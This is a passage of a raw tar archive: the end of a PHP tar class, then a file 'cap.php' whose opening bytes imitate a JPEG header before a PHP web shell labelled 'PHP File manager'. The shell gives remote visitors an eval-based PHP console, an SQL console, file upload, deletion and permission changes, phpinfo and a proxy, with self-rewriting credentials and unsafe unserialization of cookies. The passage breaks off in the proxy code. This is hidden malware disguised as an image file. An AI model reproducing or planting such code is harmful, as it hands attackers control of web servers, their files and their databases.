		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           cap.php                                                                                             0000644                 00000234451 15217301621 0006027 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
